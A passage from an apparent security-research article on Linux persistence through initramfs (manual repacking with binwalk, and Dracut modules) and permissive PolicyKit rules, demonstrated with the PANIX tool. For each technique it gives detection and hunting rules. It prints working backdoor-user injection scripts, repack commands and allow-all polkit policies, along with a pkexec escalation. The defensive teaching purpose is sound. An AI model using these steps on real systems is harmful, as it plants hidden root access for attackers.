<li><strong>Execution of GRUB-related commands</strong>: Monitors for commands like <code>grub-mkconfig</code>, <code>grub2-mkconfig</code>, and <code>update-grub</code>, which may indicate attempts to modify GRUB settings or regenerate boot configurations.</li>
<li><strong>Metadata analysis of GRUB files</strong>: Identifies ownership, access times, and recent changes to GRUB configuration files to detect unauthorized modifications.</li>
<li><strong>Kernel and Boot Integrity Monitoring</strong>: Tracks critical kernel and boot-related data using ES|QL and OSQuery tables such as <code>secureboot</code>, <code>platform_info</code>, <code>kernel_info</code>, and <code>kernel_keys</code>, providing insights into the system’s boot integrity and kernel configurations.</li>
</ol>
<p>By combining the <a href="https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_via_grub_bootloader.toml">Persistence via GRUB Bootloader</a> and <a href="https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_general_kernel_manipulation.toml">General Kernel Manipulation</a> hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to <a href="https://attack.mitre.org/techniques/T1542/">T1542</a>.</p>
<h1>T1542- Pre-OS Boot: Initramfs</h1>
<p><a href="https://wiki.debian.org/initramfs">Initramfs (Initial RAM Filesystem)</a> is a vital part of the Linux boot process, acting as a temporary root filesystem loaded into memory by the bootloader. It enables the kernel to initialize hardware, load necessary modules, and prepare the system to mount the real root filesystem.</p>
<p>As we learnt in the previous section, the bootloader (e.g., GRUB) loads two key components: the kernel (<code>vmlinuz</code>) and the initramfs image (<code>initrd.img</code>). The <code>initrd.img</code> is a compressed filesystem, typically stored in <code>/boot/</code>, containing essential drivers, binaries (e.g. <code>busybox</code>), libraries, and scripts for early system initialization. Packed in formats like gzip, LZ4, or xz, it extracts into a minimal Linux filesystem with directories like <code>/bin</code>, <code>/lib</code>, and <code>/etc</code>. Once the real root filesystem is mounted, control passes to the primary <code>init</code> system (e.g., <code>systemd</code>), and the initramfs is discarded.</p>
<p>Initramfs plays a central role in the Linux boot process, but it doesn't work in isolation. The <code>/boot/</code> directory houses essential files that enable the bootloader and kernel to function seamlessly. These files include the kernel binary, the initramfs image, and configuration data necessary for system initialization. Here's a breakdown of these critical components:</p>
<ul>
<li><strong>vmlinuz-&lt;version&gt;</strong>: A compressed Linux kernel binary.</li>
<li><strong>vmlinuz</strong>: A symbolic link to the compressed Linux kernel binary.</li>
<li><strong>initrd.img-&lt;version&gt;</strong> or <strong>initramfs.img-&lt;version&gt;</strong>: The initramfs image containing the temporary filesystem.</li>
<li><strong>initrd.img</strong> or <strong>initramfs.img</strong>: A symbolic link to the initramfs image.</li>
<li><strong>config-&lt;version&gt;</strong>: Configuration options for the specific kernel version.</li>
<li><strong>System.map-&lt;version&gt;</strong>: Kernel symbol map used for debugging.</li>
<li><strong>grub/</strong>: Bootloader configuration files.</li>
</ul>
<p>Similar to GRUB, initramfs is executed early in the boot process and therefore an interesting target for attackers seeking stealthy persistence. Modifying its contents—such as adding malicious scripts or altering initialization logic—enables execution of malicious code before the system fully initializes.</p>
<p>While there is currently no specific subsection for initramfs, modification of the boot process falls under <a href="https://attack.mitre.org/techniques/T1542/">T1542</a>, <em>Pre-OS Boot</em> in the MITRE ATT&amp;CK framework.</p>
<p>The next section will explore how attackers might manipulate initramfs, the methods they could use to embed persistence mechanisms, and how to detect and mitigate these threats effectively.</p>
<h1>T1542 - Initramfs: Manual Modifications</h1>
<p>Modifying initramfs to establish persistence is a technique discussed in the “<a href="https://breachlabs.io/initramfs-persistence-technique"><em>Initramfs Persistence Technique</em></a>” blog published on <a href="https://breachlabs.io/">Breachlabs.io</a>. At its core, modifying initramfs involves unpacking its compressed filesystem, making changes, and repacking the image to maintain functionality while embedding persistence mechanisms. This process is not inherently malicious; administrators might modify initramfs to add custom drivers or configurations. However, attackers can exploit this flexibility to execute malicious actions before the primary operating system is fully loaded.</p>
<p>An example technique involves adding code to the <code>init</code> script to manipulate the host filesystem—such as creating a backdoor user, altering system files/services, or injecting scripts that persist across reboots.</p>
<p>While there are helper tools for working with initramfs, manual modifications are possible through low-level utilities such as <a href="https://github.com/ReFirmLabs/binwalk">binwalk</a>. <code>Binwalk</code> is particularly useful for analyzing and extracting compressed archives, making it a good choice for inspecting and deconstructing the initramfs image.</p>
<p>In the following section, we’ll provide a detailed explanation of the manual initramfs modification process.</p>
<h1>Persistence through T1542 - Initramfs: Manual Modifications</h1>
<p>In this section we will be “manually” manipulating initramfs to add a backdoor onto the system during the boot process. To do so, we will use the <a href="https://github.com/Aegrah/PANIX/blob/7e27768807e12d11932e2fca5b6a4867308295dd/modules/setup_initramfs.sh">setup_initramfs.sh</a> module from PANIX. Let’s analyze the most important aspects of the module to ensure we understand what is going on.</p>
<p>Upon execution of the module, the <code>initrd.img</code> file is backed up, as implementing a technique like this may disrupt the boot process, and having a back up available is always recommended. Next, a temporary directory is created, and the initramfs image is copied there. Through <code>binwalk</code>, we can identify and map out the different embedded archives within the <code>initrd.img</code> (such as the CPU microcode <code>cpio</code> archive and the gzipped <code>cpio</code> archive containing the mini Linux filesystem). The string <code>TRAILER!!!</code> marks the end of a <code>cpio</code> archive, letting us know exactly where one archive finishes so we can separate it from the next. In other words, <code>binwalk</code> shows us where to split the file, and the <code>TRAILER!!!</code> marker confirms the boundary of the microcode <code>cpio</code> before we extract and rebuild the rest of the initramfs. For more detailed information, take a look at the original author’s “<a href="https://breachlabs.io/initramfs-persistence-technique"><em>Initramfs Persistence Technique</em></a>” blog.</p>
<pre><code># Use binwalk to determine the trailer address.
ADDRESS=$(binwalk initrd.img | grep TRAILER | tail -1 | awk '{print $1}')
if [[ -z &quot;$ADDRESS&quot; ]]; then
	echo &quot;Error: Could not determine trailer address using binwalk.&quot;
	exit 1
fi
echo &quot;[*] Trailer address: $ADDRESS&quot;
</code></pre>
<p>This section extracts and unpacks parts of the <code>initrd.img</code> file for modification. The <code>dd</code> command extracts the first <code>cpio</code> archive (microcode) up to the byte offset marked by <code>TRAILER!!!</code>, saving it as <code>initrd.img-begin</code> for later reassembly. Next, <code>unmkinitramfs</code> unpacks the remaining filesystem from <code>initrd.img</code> into a directory (<code>initrd_extracted</code>), enabling modifications.</p>
<pre><code>dd if=initrd.img of=initrd.img-begin count=$ADDRESS bs=1 2&gt;/dev/null || { echo &quot;Error: dd failed (begin)&quot;; exit 1; }

unmkinitramfs initrd.img initrd_extracted || { echo &quot;Error: unmkinitramfs failed&quot;; exit 1; }
</code></pre>
<p>Once the filesystem is extracted, it can be modified to achieve persistence. This process focuses on manipulating the <code>init</code> file, which is responsible for initializing the Linux system during boot. The code performs the following:</p>
<ol>
<li>Mount the root filesystem as writable.</li>
<li>Attempt to create a new user with sudo privileges in two steps:
<ol>
<li>Check whether the supplied user exists already, if yes, abort.</li>
<li>If the user does not exist, add the user to <code>/etc/shadow</code>, <code>/etc/passwd</code> and <code>/etc/group</code> manually.</li>
</ol>
</li>
</ol>
<p>This payload can be altered to whatever payload is desired. As the environment in which we are working is very limited, we need to make sure to only use tools that are available.</p>
<p>After adding the correct payload, initramfs can be repacked. The script uses:</p>
<p><code>find . | sort | cpio -R 0:0 -o -H newc | gzip &gt; ../../initrd.img-end</code></p>
<p>To repack the filesystem into <code>initrd.img-end</code>. It ensures all files are owned by <code>root:root</code> (<code>-R 0:0</code>) and uses the <code>newc</code> format compatible with initramfs.</p>
<p>The previously extracted microcode archive (<code>initrd.img-begin</code>) is concatenated with the newly created archive (<code>initrd.img-end</code>) using <code>cat</code> to produce a final <code>initrd.img-new</code>:</p>
<p><code>cat initrd.img-begin initrd.img-end &gt; initrd.img-new</code></p>
<p>The new <code>initrd.img-new</code> replaces the original initramfs file, ensuring the system uses the modified version on the next boot.</p>
<p>Now that we understand the process, we can run the module and let the events unfold. Note: not all Linux distributions specify the end of a <code>cpio</code> archive with the <code>TRAILER!!!</code> string, and therefore this automated technique will not work for all systems. Let’s continue!</p>
<pre><code>&gt; sudo ./panix.sh --initramfs --binwalk --username panix --password panix --snapshot yes
[*] Will inject user 'panix' with hashed password '&lt;hash&gt;' into the initramfs.
[*] Preparing Binwalk-based initramfs persistence...
[*] Temporary directory: /tmp/initramfs.neg1v5
[+] Backup created: /boot/initrd.img-5.15.0-130-generic.bak
[*] Trailer address: 8057008
[+] Binwalk-based initramfs persistence applied. New initramfs installed.
[+] setup_initramfs module completed successfully.
[!] Ensure you have a recent snapshot of your system before proceeding.
</code></pre>
<p>Let’s take a look at the events that are generated in Kibana:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/the-grand-finale-on-linux-persistence/image6.png" alt="PANIX Initramfs module execution visualized in Kibana - Binwalk method" /></p>
<p>Looking at the execution logs, we can see that <code>openssl</code> is used to generate a <code>passwd</code> hash. Afterwards, the initramfs image is copied to a temporary directory, and <code>binwalk</code> is leveraged to find the address of the filesystem. Once the correct section is found, <code>unmkinitramfs</code> is called to extract the filesystem, after which the payload is added to the <code>init</code> file. Next, the filesystem is repacked through <code>gzip</code> and <code>cpio</code>, and combined into a fully working initramfs image with the microcode, filesystem and other sections. This image is then copied to the <code>/boot/</code> directory, overwriting the currently active <code>initramfs</code> image. Upon reboot, the new <code>panix</code> user with root permissions is available.</p>
<p>Let’s take a look at the coverage:</p>
<p><em>Detection and endpoint rules that cover manual initramfs persistence</em></p>
<table>
<thead>
<tr>
<th align="left">Category</th>
<th align="left">Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">File</td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></td>
</tr>
<tr>
<td align="left">Process</td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/3e655abfef5e6b9c759cc82fa225be48a90bbc24/rules_building_block/discovery_potential_memory_seeking_activity.toml">Potential Memory Seeking Activity</a></td>
</tr>
<tr>
<td align="left"></td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/3e655abfef5e6b9c759cc82fa225be48a90bbc24/rules/linux/persistence_unpack_initramfs_via_unmkinitramfs.toml">Initramfs Unpacking via unmkinitramfs</a></td>
</tr>
<tr>
<td align="left"></td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/3e655abfef5e6b9c759cc82fa225be48a90bbc24/rules/linux/persistence_extract_initramfs_via_cpio.toml">Initramfs Extraction via CPIO</a></td>
</tr>
<tr>
<td align="left"></td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/linux/persistence_boot_file_copy.toml">Boot File Copy</a></td>
</tr>
<tr>
<td align="left"></td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/3e655abfef5e6b9c759cc82fa225be48a90bbc24/rules/linux/persistence_openssl_passwd_hash_generation.toml">OpenSSL Password Hash Generation</a></td>
</tr>
</tbody>
</table>
<p>You can revert the changes made by PANIX by running the following revert command:</p>
<pre><code>&gt; ./panix.sh --revert initramfs

[!] Restoring initramfs from backup: $initrd_backup...
[+] Initramfs restored successfully.
[!] Rebuilding initramfs to remove modifications...
[+] Initramfs rebuilt successfully.
[!] Cleaning up temporary files...
[+] Temporary files cleaned up.
[+] Initramfs persistence reverted successfully.
</code></pre>
<h1>Hunting for T1542 - Initramfs: Manual Modifications</h1>
<p>We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the use of tools like <code>binwalk</code>. This technique typically involves extracting, analyzing, and modifying initramfs files to inject malicious components or scripts into the boot process. The approach includes monitoring for the following:</p>
<ol>
<li><strong>Execution of Binwalk with Suspicious Arguments</strong>: Tracks processes where <code>binwalk</code> is executed to extract or analyze files. This can reveal attempts to inspect or tamper with initramfs contents.</li>
<li><strong>Creations and/or Modifications to Initramfs Files</strong>: Tracks changes to the initramfs file (<code>/boot/initrd.img</code>).</li>
<li><strong>General Kernel Manipulation Indicators</strong>: Leverages queries such as monitoring <code>secureboot</code>, <code>kernel_info</code>, and file changes within <code>/boot/</code> to detect broader signs of kernel and bootloader manipulation, which may overlap with initramfs abuse.</li>
</ol>
<p>By combining the <a href="https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_via_initramfs.toml">Persistence via Initramfs</a> and <a href="https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_general_kernel_manipulation.toml">General Kernel Manipulation</a> hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to <a href="https://attack.mitre.org/techniques/T1542/">T1542</a>.</p>
<h1>T1542 - Initramfs: Modifying with Dracut</h1>
<p><a href="https://wiki.archlinux.org/title/Dracut">Dracut</a> is a versatile tool for managing initramfs in most Linux systems. Unlike manual methods that require deconstructing and reconstructing initramfs, Dracut provides a structured, modular approach. It simplifies creating, modifying, and regenerating initramfs images while offering a robust framework to add custom functionality. It generates initramfs images by assembling a minimal Linux environment tailored to the system's needs. Its modular design ensures that only the necessary drivers, libraries, and scripts are included.</p>
<p>Dracut operates through modules, which are self-contained directories containing scripts, configuration files, and dependencies. These modules define the behavior and content of the initramfs. For example, they might include drivers for specific hardware, tools for handling encrypted filesystems, or custom logic for pre-boot operations.</p>
<p>Dracut modules are typically stored in:</p>
<ul>
<li><code>/usr/lib/dracut/modules.d/</code></li>
<li><code>/lib/dracut/modules.d/</code></li>
</ul>
<p>Each module resides in a directory named in the format <code>XXname</code>, where <code>XX</code> is a two-digit number defining the load order, and <code>name</code> is the module name (e.g., <code>01base</code>, <code>95udev</code>).</p>
<p>The primary script that defines how the module integrates into the initramfs is called <code>module-setup.sh</code>. It specifies which files to include and what dependencies are required. Here is a basic example of a <code>module-setups.sh</code> script:</p>
<pre><code>#!/bin/bash

check() {
  return 0 
}

depends() {
  echo &quot;base&quot;
}

install() {
  inst_hook cmdline 30 &quot;$moddir/my_custom_script.sh&quot;
  inst_simple /path/to/needed/binary
}
</code></pre>
<ul>
<li><code>check()</code>: Determines whether the module should be included. Returning 0 ensures the module is always included.</li>
<li><code>depends()</code>: Specifies other modules this one depends on (e.g., <code>base</code>, <code>udev</code>).</li>
<li><code>install()</code>: Defines what files or scripts to include. Functions like <code>inst_hook</code> and <code>inst_simple</code> simplify the process.</li>
</ul>
<p>Using Dracut, attackers or administrators can easily modify initramfs to include custom scripts or functionality. For example, a malicious actor might:</p>
<ul>
<li>Add a script that executes commands on boot.</li>
<li>Alter existing modules to modify system behavior before the root filesystem is mounted.</li>
</ul>
<p>In the next section, we’ll walk through creating a custom Dracut module to modify initramfs.</p>
<h1>Persistence through T1542 - Initramfs: Modifying with Dracut</h1>
<p>It is always a great idea to walk before we run. In the previous section we learnt how to manipulate initramfs manually, which can be difficult to set up. Now that we understand the basics, we can persist much easier by using a helper tool called Dracut, which is available by default on many Linux systems. Let’s take a look at the <a href="https://github.com/Aegrah/PANIX/blob/7e27768807e12d11932e2fca5b6a4867308295dd/modules/setup_initramfs.sh">setup_initramfs.sh</a> module again, but this time with a focus on the Dracut section.</p>
<p>This PANIX module creates a new Dracut module directory at <code>/usr/lib/dracut/modules.d/99panix</code>, and creates a <code>module-setup.sh</code> file with the following contents:</p>
<pre><code>#!/bin/bash
check()  { return 0; }
depends() { return 0; }
install() {
	inst_hook pre-pivot 99 &quot;$moddir/backdoor-user.sh&quot;
}
</code></pre>
<p>This script ensures that when the initramfs is built using Dracut, the custom script (<code>backdoor-user.sh</code>) is embedded and configured to execute at the pre-pivot stage during boot. By running at the pre-pivot stage, the script executes before control is handed over to the main OS, ensuring it can make modifications to the real root filesystem.</p>
<p>After granting <code>module-setup.sh</code> execution permissions, the module continues to create the <code>backdoor-user.sh</code> file. To view the full content, inspect the module source code. The important parts are:</p>
<pre><code>#!/bin/sh

# Remount the real root if it's read-only
mount -o remount,rw /sysroot 2&gt;/dev/null || {
	echo &quot;[dracut] Could not remount /sysroot as RW. Exiting.&quot;
	exit 1
}
[...]

if check_user_exists &quot;${username}&quot; /sysroot/etc/shadow; then
    echo &quot;[dracut] User '${username}' already exists in /etc/shadow.&quot;
else
    echo &quot;${username}:${escaped_hash}:19000:0:99999:7:::&quot; &gt;&gt; /sysroot/etc/shadow
    echo &quot;[dracut] Added '${username}' to /etc/shadow.&quot;
fi

[...]
</code></pre>
<p>First, the script ensures that the root filesystem (<code>/sysroot</code>) is writable. If this check completes, the script continues to add a new user by manually modifying the <code>/etc/shadow</code>, <code>/etc/passwd</code> and <code>/etc/group</code> files. The most important thing to notice is that these scripts rely on built-in shell utilities, as utilities such as <code>grep</code> or <code>sed</code> are not available in this environment. After writing the script, it is granted execution permissions and is good to go.</p>
<p>Finally, Dracut is called to rebuild initramfs for the kernel version that is currently active:</p>
<p><code>dracut --force /boot/initrd.img-$(uname -r) $(uname -r)</code></p>
<p>Once this step completes, the modified initramfs is active, and rebooting the machine will result in the <code>backdoor-user.sh</code> script being executed.</p>
<p>As always, first we take a snapshot, then we run the module:</p>
<pre><code>&gt; sudo ./panix.sh --initramfs --dracut --username panix --password secret --snapshot yes
[!] Will inject user 'panix' with hashed password &lt;hash&gt; into the initramfs.
[!] Preparing Dracut-based initramfs persistence...
[+] Created dracut module setup script at /usr/lib/dracut/modules.d/99panix/module-setup.sh
[+] Created dracut helper script at /usr/lib/dracut/modules.d/99panix/backdoor-user.sh
[*] Rebuilding initramfs with dracut...
[...]
dracut: *** Including module: panix ***
[...]
[+] Dracut rebuild complete.
[+] setup_initramfs module completed successfully.
[!] Ensure you have a recent snapshot/backup of your system before proceeding.
</code></pre>
<p>And take a look at the documents available in Discover:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/the-grand-finale-on-linux-persistence/image5.png" alt="PANIX Initramfs module execution visualized in Kibana - Dracut method" /></p>
<p>Upon execution, <code>openssl</code> is used to create a password hash for the <code>secret</code> password. Afterwards, the directory structure <code>/usr/lib/dracut/modules.d/99panix</code> is created, and the <code>module-setup.sh</code> and <code>backdoor-user.sh</code> scripts are created and granted execution permissions. After regeneration of the initramfs completes, the backdoor has been planted, and will be active upon reboot.</p>
<p>Let’s take a look at the coverage:</p>
<p><em>Detection and endpoint rules that cover dracut initramfs persistence</em></p>
<table>
<thead>
<tr>
<th align="left">Category</th>
<th align="left">Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">File</td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/cf183579b46dae3ebd294098b330341a98691fd0/rules/linux/persistence_dracut_module_creation.toml">Dracut Module Creation</a></td>
</tr>
<tr>
<td align="left"></td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></td>
</tr>
<tr>
<td align="left">Process</td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/cf183579b46dae3ebd294098b330341a98691fd0/rules/linux/persistence_manual_dracut_execution.toml">Manual Dracut Execution</a></td>
</tr>
<tr>
<td align="left"></td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/3e655abfef5e6b9c759cc82fa225be48a90bbc24/rules/linux/persistence_openssl_passwd_hash_generation.toml">OpenSSL Password Hash Generation</a></td>
</tr>
<tr>
<td align="left"></td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/linux/persistence_potential_persistence_script_executable_bit_set.toml">Executable Bit Set for Potential Persistence Script</a></td>
</tr>
</tbody>
</table>
<p>You can revert the changes made by PANIX by running the following revert command:</p>
<pre><code>&gt; ./panix.sh --revert initramfs

[-] No backup initramfs found at /boot/initrd.img-5.15.0-130-generic.bak. Skipping restore.
[!] Removing custom dracut module directory: /usr/lib/dracut/modules.d/99panix...
[+] Custom dracut module directory removed.
[!] Rebuilding initramfs to remove modifications...
[...]
[+] Initramfs rebuilt successfully.
[!] Cleaning up temporary files...
[+] Temporary files cleaned up.
[+] Initramfs persistence reverted successfully.
</code></pre>
<h1>Hunting for T1542 - Initramfs: Modifying with Dracut</h1>
<p>We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the use of tools like Dracut. The approach includes monitoring for the following:</p>
<ol>
<li><strong>Execution of Dracut with Suspicious Arguments</strong>: Tracks processes where Dracut is executed to regenerate or modify initramfs files, especially with non-standard arguments. This can help identify unauthorized attempts to modify initramfs.</li>
<li><strong>Creations and/or Modifications to Dracut Modules</strong>: Monitors changes within <code>/lib/dracut/modules.d/</code> and <code>/usr/lib/dracut/modules.d/</code>, which store custom and system-wide Dracut modules. Unauthorized modifications here may indicate attempts to persist malicious functionality.</li>
<li><strong>General Kernel Manipulation Indicators</strong>: Utilizes queries like monitoring <code>secureboot</code>, <code>kernel_info</code>, and file changes within <code>/boot/</code> to detect broader signs of kernel and bootloader manipulation that could be related to Initramfs abuse.</li>
</ol>
<p>By combining the <a href="https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_via_initramfs.toml">Persistence via Initramfs</a> and <a href="https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_general_kernel_manipulation.toml">General Kernel Manipulation</a> hunting rules and the tailored detection queries listed above, you can effectively identify and respond to <a href="https://attack.mitre.org/techniques/T1542/">T1542</a>.</p>
<h1>T1543 - Create or Modify System Process: PolicyKit</h1>
<p><a href="https://linux.die.net/man/8/polkit">PolicyKit (or Polkit)</a> is a system service that provides an authorization framework for managing privileged actions in Linux systems. It enables fine-grained control over system-wide privileges, allowing non-privileged processes to interact with privileged ones securely. Acting as an intermediary between system services and users, Polkit determines whether a user is authorized to perform specific actions. For instance, it governs whether a user can restart network services or install software without requiring full sudo permissions.</p>
<p>Polkit authorization is governed by rules, actions, and authorization policies:</p>
<ul>
<li><strong>Actions</strong>: Defined in XML files (<code>.policy</code>), these specify the operations Polkit can manage, such as <a href="https://www.freedesktop.org/software/systemd/man/latest/org.freedesktop.systemd1.html"><code>org.freedesktop.systemd1.manage-units</code></a>.</li>
<li><strong>Rules</strong>: JavaScript-like files (<code>.rules</code>) determine how authorization is granted for specific actions. They can check user groups, environment variables, or other conditions.</li>
<li><strong>Authorization Policies</strong>: <code>.pkla</code> files set default or per-user/group authorizations for actions, determining whether authentication is required.</li>
</ul>
<p>The configuration files used by Polkit are found in several different locations, depending on the version of Polkit that is present on the system, and the Linux distribution that is active. The main locations you should know about:</p>
<ul>
<li>Action definitions:
<ul>
<li><code>/usr/share/polkit-1/actions/</code></li>
</ul>
</li>
<li>Rule definitions:
<ul>
<li><code>/etc/polkit-1/rules.d/</code></li>
<li><code>/usr/share/polkit-1/rules.d/</code></li>
</ul>
</li>
<li>Authorization definitions:
<ul>
<li><code>/etc/polkit-1/localauthority/</code></li>
<li><code>/var/lib/polkit-1/localauthority/</code></li>
</ul>
</li>
</ul>
<p>A Polkit <code>.rules</code> file defines the logic for granting or denying specific actions. These files provide flexibility in determining whether a user or process can execute an action. Here’s a simple example:</p>
<pre><code>polkit.addRule(function(action, subject) {
    if (action.id == &quot;org.freedesktop.systemd1.manage-units&quot; &amp;&amp;
        subject.isInGroup(&quot;servicemanagers&quot;)) {
        return polkit.Result.YES;
    }
    return polkit.Result.NOT_HANDLED;
});
</code></pre>
<p>In this rule:</p>
<ul>
<li>The action <code>org.freedesktop.systemd1.manage-units</code> (managing <code>systemd</code> services) is granted to users in the <code>servicemanagers</code> group.</li>
<li>Other actions fall back to default handling.</li>
</ul>
<p>This structure allows administrators to implement custom policies, but it also opens the door for attackers who can insert overly permissive rules to gain unauthorized privileges.</p>
<p>Currently, Polkit does not have a dedicated technique in the MITRE ATT&amp;CK framework. The closest match is <a href="https://attack.mitre.org/techniques/T1543/">T1543: Create or Modify System Process</a>, which describes adversaries modifying system-level processes to achieve persistence or privilege escalation.</p>
<p>In the next section, we will explore step-by-step how attackers can craft and deploy malicious Polkit rules and authorization files, while also discussing detection and mitigation strategies.</p>
<h1>Persistence through T1543 - Create or Modify System Process: PolicyKit</h1>
<p>Now that we understand the theory, let’s take a look at how to simulate this in practice through the <a href="https://github.com/Aegrah/PANIX/blob/7e27768807e12d11932e2fca5b6a4867308295dd/modules/setup_polkit.sh">setup_polkit.sh</a> PANIX module. First, the module checks the active Polkit version through the <code>pkaction --version</code> command, as versions &lt; 0.106 use the older <code>.pkla</code> files, while newer versions (&gt;= 0.106) use the more recent <code>.rules</code> files. Depending on the version, the module will continue to create the Polkit policy that is overly permissive. For versions &lt; 0.106 a <code>.pkla</code> file is created in <code>/etc/polkit-1/localauthority/50-local.d/</code>:</p>
<pre><code>mkdir -p /etc/polkit-1/localauthority/50-local.d/

# Write the .pkla file
cat &lt;&lt;-EOF &gt; /etc/polkit-1/localauthority/50-local.d/panix.pkla
[Allow Everything]
Identity=unix-user:*
Action=*
ResultAny=yes
ResultInactive=yes
ResultActive=yes
EOF
</code></pre>
<p>Allowing any <code>unix-user</code> to do any action through the <code>Identity=unix-user:*</code> and <code>Action=*</code> parameters.</p>
<p>For versions &gt;= 0.106 a <code>.rules</code> file is created in <code>/etc/polkit-1/rules.d/</code>:</p>
<pre><code>mkdir -p /etc/polkit-1/rules.d/

# Write the .rules file
cat &lt;&lt;-EOF &gt; /etc/polkit-1/rules.d/99-panix.rules
polkit.addRule(function(action, subject) {
	return polkit.Result.YES;
});
EOF
</code></pre>
<p>Where an overly permissive policy always returns <code>polkit.Result.YES</code>, which means that any action that requires Polkit’s authentication will be allowed by anyone.</p>
<p>Polkit rules are processed in lexicographic (ASCII) order, meaning files with lower numbers load first, and later rules can override earlier ones. If two rules modify the same policy, the rule with the higher number takes precedence because it is evaluated last. To ensure the rule is executed and overrides others, PANIX creates it with a filename starting with 99 (e.g. <code>99-panix.rules</code>).</p>
<p>Let’s run the PANIX module with the following command line arguments:</p>
<pre><code>&gt; sudo ./panix.sh --polkit

[!] Polkit version &lt; 0.106 detected. Setting up persistence using .pkla files.
[+] Persistence established via .pkla file.
[+] Polkit service restarted.
[!] Run pkexec su - to test the persistence.
</code></pre>
<p>And take a look at the logs in Kibana:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/the-grand-finale-on-linux-persistence/image2.png" alt="PANIX Polkit module execution visualized in Kibana" /></p>
<p>Upon execution of PANIX, we can see the <code>pkaction --version</code> command being issued to determine whether a <code>.pkla</code> or <code>.rules</code> file approach is needed. After figuring this out, the correct policy is created, and the <code>polkit</code> service is restarted (this is not always necessary however). Once these policies are in place, a user with a <code>user.Ext.real.id</code> of <code>1000</code> (not-root) is capable of obtaining root privileges by executing the <code>pkexec su -</code> command.</p>
<p>Let’s take a look at our detection opportunities:</p>
<p><em>Detection and endpoint rules that cover Polkit persistence</em></p>
<table>
<thead>
<tr>
<th align="left">Category</th>
<th align="left">Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">File</td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/cf183579b46dae3ebd294098b330341a98691fd0/rules/linux/persistence_polkit_policy_creation.toml">Polkit Policy Creation</a></td>
</tr>
<tr>
<td align="left"></td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></td>
</tr>
<tr>
<td align="left">Process</td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/cf183579b46dae3ebd294098b330341a98691fd0/rules/linux/discovery_polkit_version_discovery.toml">Polkit Version Discovery</a></td>
</tr>
<tr>
<td align="left"></td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/cf183579b46dae3ebd294098b330341a98691fd0/rules/linux/execution_unusual_pkexec_execution.toml">Unusual Pkexec Execution</a></td>
</tr>
</tbody>
</table>
<p>To revert any changes, you can use the corresponding revert module by running:</p>
<pre><code>&gt; ./panix.sh --revert polkit

[+] Checking for .pkla persistence file...
[+] Removed file: /etc/polkit-1/localauthority/50-local.d/panix.pkla
[+] Checking for .rules persistence file...
[-] .rules file not found: /etc/polkit-1/rules.d/99-panix.rules
[+] Restarting polkit service...
[+] Polkit service restarted successfully.
</code></pre>
<h1>Hunting for T1543 - Create or Modify System Process: PolicyKit</h1>
<p>We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the modification of PolicyKit configuration files and rules. The approach includes hunting for the following:</p>
<ol>
<li><strong>Creations and/or Modifications to PolicyKit Configuration Files</strong>: Tracks changes in critical directories containing custom and system-wide rules, action descriptions and authorizations rules. Monitoring these paths helps identify unauthorized additions or tampering that could indicate malicious activity.</li>
<li><strong>Metadata Analysis of PolicyKit Files</strong>: Inspects file ownership, access times, and modification timestamps for PolicyKit-related files. Unauthorized changes or files with unexpected ownership can indicate an attempt to persist or escalate privileges through PolicyKit.</li>
<li><strong>Detection of Rare or Anomalous Events</strong>: Identifies uncommon file modification or creation events by analyzing process execution and correlation with file activity. This helps surface subtle indicators of compromise.</li>
</ol>
<p>By combining the <a href="https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_via_policykit.toml">Persistence via PolicyKit</a> hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to <a href="https://attack.mitre.org/techniques/T1543/">T1543</a>.</p>
<h1>T1543 - Create or Modify System Process: D-Bus</h1>
